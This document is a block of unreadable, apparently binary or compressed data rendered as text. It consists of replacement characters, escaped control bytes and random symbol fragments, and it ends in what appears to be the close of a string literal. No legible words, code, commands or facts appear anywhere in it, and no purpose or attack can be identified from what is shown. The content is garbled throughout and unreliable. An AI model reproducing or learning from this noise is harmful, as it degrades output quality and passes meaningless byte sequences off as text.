7��S\x5c[�.Yˊ2�M�d��b[Wx��v�\x24\x0b���;k\x0c�ԡ�\x7f%o�\x0b_�����K�>��&]ޠ�gr��ͯ_��ӊ�Mr�VU��hUeH��\x7f��1���Kj�=�p����8c��Yyt��Fî*~OA�!mUrCU���\x24V�Ln��w��frZ��\x24[0�FG��*�s\x0ddU���/��>�VzU��(��<�oMbJ�u]�\x7f��Zg7�1�2/���&��S\x0bb\x5c�+.ڌ����Rh�����F��\x0a�*O�(\x0c�?�B��L��bi9✨�P&��rIxgT��\x5cj�\x22��ӧ��K1`6\x5c�@e�ӛ�b#��.��+��\x0b\x7fNO�.�3�l#��\x5caԁ���QD��n��ŅY�m�F�\x22g�P(0O\x0d��\x0b?�W��h:d�BZ�L��I��Dnq���K^+�̚H��/��˿���K�%\x5c�b�X.�\x0b�s0\x7fƱ��\x22Ә�B[�a��¼�\x24jؤ��W�-CV�x1M@_��(í5ѕgh��z�{_4/���U��-^q�<�\x24�N.�{e�:�\x0d�N�@r�R�tO��AT[2D2���l��Oo+dd�A�\x5c�e��Y��\x0bs�]&�o�Z�����G�ޚ{�e��J�Q@0FB�i;ns�+��k�7�I&%��t���!�Zs�ƤZ��X�>Tlf�KW0N��**�&�7ҕ�R�ǔ�{��U��m\x009�\x00,�<�\x0d.�t�m�x�z��BP&g�V�J\x0dIO��(1P�3Ѝ[�Ih_ӌ�W����ڞ�ڎ�O�q�Ֆ!h��sU�/3V�I\x1bo�z�����\x5cS�ww�Z��_iȐa{���h\x7f�x\x0b�U��rMDvJ%I�~���<���2�����X̄�Az��EG��?,\x5c6�BY�/��;��(�*�u֧o\x00�fO5����ǝ��\x5cz\x22��\x0dP��t� ����\x7fZ�x#�F<JˌG���P��P�r!�c���/\x1b ufQ�Nu�n�v8vT��1am��U�(��蹍nX��&�\x00��f���|p\x7f��Z��ƜH�ɾ�DG��;��X����,��1�}����N\x0a\x0b�-\x5cm2\x0b]ޣ,�P�壁��Z��=��5��� ���Ga���{��<WF����P\x0d)�J��ȩ+4{%���b�p�h�`?�O-Sↄ4\x7f�w�������11A�q�wL�\x24�VQ~Gc��:��g;�������w�й�7���J17�\x1bB�^�3�ldGA�1#�{=�be�,��Ľ_mBmyx\x1b�^\x5c�/PP��n�q;qd�\x1b�Qz�(�<�O�Mҋ����Uf��d����xd�c?��߅*�I����m���>5n�.�'�G��{��t��������������ss�~�|t����֪\x7fү�ɔ�[u�=w��k�����^9��#k�U��;z�G���v��꛱�{{��w�C��GG[�f�`�U��?�4��f�\x5c>��>�������ۏP7|�oI��O���Ɗ��l<~s��\x7fGzL���<�~\x00f�m�8���Xs�O�K�\x00̡8������v�o�^w��������ـ�����쪨��{�>�^��C<9�ߢ��%�7��p����W����W�/�O�絣Ï��������������]\x5c��8���xW�\x0c�S�}v6�7{G���i��<��߭��u�:_|3�W���o���k��#��>\x7fx1|�oz�A?}�6�BF�U���y�*i/�\x7f��kz��M��k���E���сs��}�Z��o���x\x0c��jI�Y7o��}�:�ڔ�MN���~+����\x7f�p�ϯ�F�\x7f��ʑ`�u�^|�|6\x00�#��\x0b57%��;��ǣ���k`ϋ�珯#\x00�������}\x0d��zϥ�>����H��_�{�z��\x1b�?�]�{��>L)����]b�7��zk��:��\x7f�p|��7[��.��8T��W��6�&7��N��g}��������w��{+���cs���^��&���z�;܍��g��_�Rө�a����g5n�f\x0d=��;�����`|�����B���������[��:�\x0cS����ɻZ��~��S��(\x7fm�Aً����8������C�+�E�t缎�Ά9}����;Z��v�7���\x1b[��qfR��x�atA8�.V&ҰnV�Q�]>r���.�8������D��-|{Eyև�\x00��`\x0a�&z��@����=ؾ�n�FƇ�9Ų�ǧ��=\x0bD�-�+��~��62��D�o���ҩ] F���W�\x09�����:Η���� -��\x7fr�*��.>��.Va���ǣ,*@���U�X_��j7)�Ŀ�\x0aK�j��{qk�H�\x1b��Y��fo�^��7��yL�92�l\x09H�����_�<�X�=� -\x1b��>�x�q�-q��k� :�~��\x5c���M@c֡�u��ƞ\x1b�<���{o_|�p����W�7�o��[2��?��u�2��%�\x5c(w��{�us���t;��㳖_���9{���e���{v�W��o�ŷ��(]�6�\x09AV�ٻz�v;p��\x1b��%��FA���dl��5��'���d ��\x5c�-��y'�}S^��٦�q{���_��O��������ݷn-2���ۭ�L[�\x5c���ʟ�|�����/��ș��\x7fuQ\x1b��_�G���f��9��>�s߾}��{n��Np|KuM��&��f�m��}%��&��yvz�{t�g�\x0a�֏O�uX�ڧ�MNl���a�v�wt���n�s\x22\x0bNqͤu\x0b~SZw��\x0b��[�\x0b|�9Q\x7fqv���9Իs�{��l\x00m^�B�T\x0dz�>��wv�N��W��(7W��vԜ]���6�X�6���� �֚��wi}�\x5c\x0dP��� �'�����d����_�D�V���\x7f�������^�|�\x0c�(\x0aD��)}]X��(��=<��,y?����fRy?���?�;���>w�������������Ч�V��j/�ωv����~��<}}EtӘ�z��y��`��l���/�kR����o}�5K�������]V��}�8@V�Z��TJ��[�A}���.��*{Cy�@�>��pg9�m�L`�(*�W��aw)a�ҍ(����w)��<��(S��b��c�������O�Y���a]��V\x00X�'�p��\x1b���4��n��3�r��w���9��Na\x5c��iF��V`�o�gr=�/�N�-�����.�;o��w:��ۧhه�����>3g�����3QO�[a���;��\x7fY)�]i�xa�*�X�?T6&n![�(\x0d��L��݆pTW62���?G%��\x00y�HMpkCxz��\x1b39�����.��`�\x1bTM�\x22��V�_\x7f�նo�j�4�E��\x0cPI\x0b@5<�*'b�*�E�gHr�2%<Q��2k�@ĆȂH1F7ʟJ?��\x1b��K4L�\x1b��n��A���1P�/Ī�%&I�J���5��a���������e&z�,����#惍\x0cr�d=��i<�)fa����{i�s��\x1b�8��_��?y2��}jU�ץ�L�?��r����Wph`Й��:d�L�K�0��Z��%A\x7f"));